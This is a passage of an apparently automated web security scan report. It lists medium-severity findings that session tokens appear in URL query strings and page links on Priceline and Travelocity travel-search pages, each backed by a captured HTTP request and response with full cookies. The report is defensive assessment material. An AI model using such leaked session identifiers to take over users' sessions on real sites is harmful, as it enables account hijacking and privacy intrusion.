User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/qp.asp?rdr=1&ProductId=1&DepCity=BOS&ArrCity=MIA&DepartureDate=12%2F2%2F2011&ReturnDate=12%2F4%2F2011&NumTickets=1&CabinClass=ECO&refid=PLFARECAST&refclickid=FDC_AIRSEARCH&session_key=6F1410AC701410AC20111110215328921bd0227606
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965614204:ss=1320965614204; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.1.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights

OFFER%2FAIRLINE_TICKET%2FITINERARY_TYPE_CODE=&OFFER%2FAIRLINE_TICKET%2FLOCATION%5B0%5D%2F%40CITY%2FNAME=BOS&OFFER%2FAIRLINE_TICKET%2FLOCATION%5B1%5D%2F%40CITY%2FNAME=MIA&navigation%2Fselslicekeys=&nav
...[SNIP]...

Response

HTTP/1.1 302 Object moved
Date: Thu, 10 Nov 2011 21:55:06 GMT
Server: Microsoft-IIS/6.0
Location: search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Content-Length: 212
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&amp;plf=pcln&amp;path=bak">here</a>
...[SNIP]...

6.4. http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://tickets.priceline.com
Path:   /travel/airlines/lang/en-us/search.asp

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak HTTP/1.1
Host: tickets.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965614204:ss=1320965614204; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.1.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; CJK=5663010a5764010a20111110215348ce5010773649

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:54:02 GMT
Server: Microsoft-IIS/6.0
Content-Length: 22469
Content-Type: text/html
Cache-control: private


   <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<SCRIPT Language="JavaScript">
function vpXSellPopup(strURL, lWidth, lHeight, lXPos, lYPos, strParam
...[SNIP]...
<br>
   ws-130&nbsp;<a href="?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak&dbg=B3DA697EF19D0D07DF7C589E3F2C2C48E949002942E3699211CE7D9BC2BE77C4EDC71BA7433D252F6C63EB0FA35AD57A473EE27DCCC0519D5C864852C362546796BEB8CCDD916703BE09689168DDE73555C45870D0EFCC2E7EA78B760EF006E5392466DE62A5F861C95714FA3E749DCDE821645B0597D3CF" onclick="return(false);" rel="nofollow">dg</a>
...[SNIP]...

6.5. http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://tickets.priceline.com
Path:   /travel/airlines/lang/en-us/search.asp

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak HTTP/1.1
Host: tickets.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965614204:ss=1320965614204; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.1.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; CJK=5663010a5764010a20111110215348ce5010773649

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:54:02 GMT
Server: Microsoft-IIS/6.0
Content-Length: 22469
Content-Type: text/html
Cache-control: private


   <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<SCRIPT Language="JavaScript">
function vpXSellPopup(strURL, lWidth, lHeight, lXPos, lYPos, strParam
...[SNIP]...

6.6. http://travel.travelocity.com/___waseq.img  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://travel.travelocity.com
Path:   /___waseq.img

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /___waseq.img;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618?Log=1&tntPage=http%3A//travel.travelocity.com/flights/InitialSearch.do%3FService%3DTRAVELOCITY%26flightType%3Droundtrip%26dateTypeSelect%3DexactDates%26dateLeavingTime%3DAnytime%26dateReturningTime%3DAnytime%26adults%3D1%26children%3D0%26seniors%3D0%26leavingDate%3D12%252F2%252F2011%26returningDate%3D12%252F4%252F2011%26leavingFrom%3DBOS%26goingTo%3DMIA%26WA1%3D03010%26WA2%3Dbingtravel.com%26WA5%3Dtrave_flight_presearch_checkbox_%7Cu%26WA6%3Dair&tntTitle=Travelocity%20-%20Outbound%20Search%20Results&tntReferrer=http%3A//www.bing.com/travel/flights%3FFORM%3DTRABFL&tntCampaignID=&tntCampaignName=&tntRecipeID=&tntRecipeName=&tntTrafficType=&tntOfferID=&tntMbox=trackingMBox&tntPCID=1320962010545-896769.19&tntSessionID=1320962010545-896769&tntFirstSession=true&tntPageID=1320962010545-896769&tntTime=1320962016279 HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; mbox=check#true#1320962071|session#1320962010545-896769#1320963871; JSID=CDFC991E7BEF753CB1F6902F0A3D9288.p0616; Service=TRAVELOCITY

Response

HTTP/1.1 302 Moved Temporarily
Date: Thu, 10 Nov 2011 21:54:29 GMT
Server: Apache
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Location: http://i.travelocity.com/t.gif
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=ISO-8859-1


6.7. http://travel.travelocity.com/flights/FlightFilterLog.do  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://travel.travelocity.com
Path:   /flights/FlightFilterLog.do

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

POST /flights/FlightFilterLog.do;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618 HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
Content-Length: 244
Origin: http://travel.travelocity.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; Service=TRAVELOCITY; mbox=check#true#1320962071|session#1320962010545-896769#1320963871|PC#1320962010545-896769.19#1322171617; __utma=1.543267917.1320962024.1320962024.1320962024.1; __utmb=1.1.10.1320962024; __utmc=1; __utmz=1.1320962024.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; IPE_S_TMP_910=910; mt.ti=%7B%22dest%22:%22MIA%22,%22tripDays%22:2%7D; mt.v=1.1040137567.1320962024293; JSID=3BDAD8821C840729BC4E28B4A5184BA6.p0618

ckbSummaryGridData=AA_267_7_252_8_USD_20111110155347%7Cmulti_null_0_248_16_USD_20111110155347%7CUS_null_0_274_6_USD_20111110155347%7CDL_null_0_277_7_USD_20111110155347%7CUA_null_0_354_4_USD_2011111015
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:55:14 GMT
Server: Apache
Set-Cookie: JSID=1A5BD9EAD4AE015D0FE30D9A7F63DD76.p0711; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 25

{
   "status": "success"
}

6.8. http://travel.travelocity.com/flights/FlightShoppingPackage.do  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://travel.travelocity.com
Path:   /flights/FlightShoppingPackage.do

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

POST /flights/FlightShoppingPackage.do;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618 HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
Content-Length: 367
Origin: http://travel.travelocity.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; Service=TRAVELOCITY; mbox=check#true#1320962071|session#1320962010545-896769#1320963871|PC#1320962010545-896769.19#1322171617; __utma=1.543267917.1320962024.1320962024.1320962024.1; __utmb=1.1.10.1320962024; __utmc=1; __utmz=1.1320962024.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; IPE_S_TMP_910=910; mt.ti=%7B%22dest%22:%22MIA%22,%22tripDays%22:2%7D; mt.v=1.1040137567.1320962024293; JSID=3BDAD8821C840729BC4E28B4A5184BA6.p0618

flightType=roundtrip&dateTypeSelect=EXACT_DATES&leavingDate=12%2F02%2F2011&leavingFrom=BOS&goingTo=MIA&dateLeavingTime=1200&dateReturningTime=1200&returningDate=12%2F04%2F2011&adults=1&seniors=0&child
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:55:24 GMT
Server: Apache
Set-Cookie: JSID=ABF71EFEAC72FC6B4192466810CB2679.p0741; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Set-Cookie: SID=T0072002589111110155520182811666560375; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 638

{
"packagePrice" : 393,
"url" : "FlightShoppingPackageRetrieve.do?nextAction=crossSell&currencyCode=USD&dispNewTimeStamp=&pathIndicatorCode=PKG&modifySearchInd=R&navigatorTabIndex=5&requestId=3314
...[SNIP]...

6.9. http://travel.travelocity.com/flights/FlightsItineraryService.do  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://travel.travelocity.com
Path:   /flights/FlightsItineraryService.do

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /flights/FlightsItineraryService.do;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618?flightType=roundtrip&dateTypeSelect=EXACT_DATES&leavingDate=12%2F02%2F2011&leavingFrom=BOS&goingTo=MIA&dateLeavingTime=1200&dateReturningTime=1200&returningDate=12%2F04%2F2011&adults=1&seniors=0&children=0&paxCount=1&classOfService=ECONOMY&fareType=all&filterStops=&airlineSearchPref=&membershipLevel=NO_VALUE HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; JSID=CDFC991E7BEF753CB1F6902F0A3D9288.p0616; Service=TRAVELOCITY; mbox=check#true#1320962071|session#1320962010545-896769#1320963871|PC#1320962010545-896769.19#1322171617

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:54:53 GMT
Server: Apache
Set-Cookie: JSID=9453A110C94A32B31FD58879F92E8C88.p0706; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 55825

{
"metadata" : {
"jSessionId" : "9453A110C94A32B31FD58879F92E8C88.p0706",
"responseId" : "33141553058615",
"imageServer" : "http://i.travelocity.com.edgesuite.net/legacy/logos/",
"se
...[SNIP]...

6.10. http://travel.travelocity.com/flights/InitialSearch.do  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://travel.travelocity.com
Path:   /flights/InitialSearch.do

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bing.com/travel/flights?FORM=TRABFL
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:53:31 GMT
Server: Apache
Set-Cookie: JSID=8FFF3EF3B63D0D4D8432E417447540AD.p0609; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 72798

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>
<link rel="icon" href="/favicon.ico"/>
<link rel="shortcut icon" hre
...[SNIP]...
<li>|<a href="/mystuff/MyStuffControllerInit.do;jsessionid=8FFF3EF3B63D0D4D8432E417447540AD.p0609?target_page=MyAccount" title="Sign Up" rel="nofollow">Sign Up</a>|</li>
<li><a href="/mystuff/MyStuffControllerInit.do;jsessionid=8FFF3EF3B63D0D4D8432E417447540AD.p0609?target_page=MyAccount" title="My Account" rel="nofollow">My Account</a>
...[SNIP]...
<!-- MessagingDisplay -->
<script type="text/javascript" src='/jsp/travelocity/flights/common/scripts/Util.js;jsessionid=8FFF3EF3B63D0D4D8432E417447540AD.p0609'></script>
...[SNIP]...
<li class="last"><a href="/mystuff/ShowCreateAccount.do;jsessionid=8FFF3EF3B63D0D4D8432E417447540AD.p0609?Service=TRAVELOCITY" title="Subscribe" rel="nofollow">Subscribe</a>
...[SNIP]...

6.11. http://travel.travelocity.com/flights/SavedSearch.do  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://travel.travelocity.com
Path:   /flights/SavedSearch.do

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /flights/SavedSearch.do;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618?operation=read&lob=AIR&_=1320962017854 HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; JSID=CDFC991E7BEF753CB1F6902F0A3D9288.p0616; Service=TRAVELOCITY; mbox=check#true#1320962071|session#1320962010545-896769#1320963871|PC#1320962010545-896769.19#1322171617

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:54:36 GMT
Server: Apache
Set-Cookie: JSID=1D50A6BB126F3AFB02E6B0CA945EED5A.p0734; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 67839

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>
<link rel="icon" href="/favicon.ico"/>
<link rel="shortcut icon" hre
...[SNIP]...

6.12. http://travel.travelocity.com/jsp/travelocity/flights/common/scripts/Util.js  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://travel.travelocity.com
Path:   /jsp/travelocity/flights/common/scripts/Util.js

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /jsp/travelocity/flights/common/scripts/Util.js;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618 HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; JSID=3BDAD8821C840729BC4E28B4A5184BA6.p0618; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; Service=TRAVELOCITY; SID=T000V00000X111110155329158039359453652; pcookie=n

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:53:34 GMT
Server: Apache
ETag: W/"5195-1314808880000"
Last-Modified: Wed, 31 Aug 2011 16:41:20 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/javascript
Content-Length: 5195

/*
* Added for bug 383376
*/
var cX = 0; var cY = 0; var rX = 0; var rY = 0;
function UpdateCursorPosition(e){ cX = e.pageX; cY = e.pageY;}
function UpdateCursorPositionDocAll(e){ cX = event.clientX
...[SNIP]...

6.13. http://travelb.priceline.com/airlines/fareResults.do  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://travelb.priceline.com
Path:   /airlines/fareResults.do

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:02:09 GMT
Server: Apache
Set-Cookie: PSessKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=6f1410ac5564010a20111110220209fd5021609144; Domain=.priceline.com; Path=/
Set-Cookie: JSESSIONID=EA3BEF0849B1C104761E4D2A94E50FD3; Path=/airlines
Vary: Accept-Encoding
Content-Length: 353836
Content-Type: text/html;;charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...

6.14. http://travelb.priceline.com/airlines/fareResults.do  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://travelb.priceline.com
Path:   /airlines/fareResults.do

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:02:09 GMT
Server: Apache
Set-Cookie: PSessKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=6f1410ac5564010a20111110220209fd5021609144; Domain=.priceline.com; Path=/
Set-Cookie: JSESSIONID=EA3BEF0849B1C104761E4D2A94E50FD3; Path=/airlines
Vary: Accept-Encoding
Content-Length: 353836
Content-Type: text/html;;charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...
<li><a rel="nofollow" href="https://travelb.priceline.com/myprofile/register.do?jsk=6f1410ac5564010a20111110220209fd5021609144&INIT_SESSION=false">register</a>
...[SNIP]...
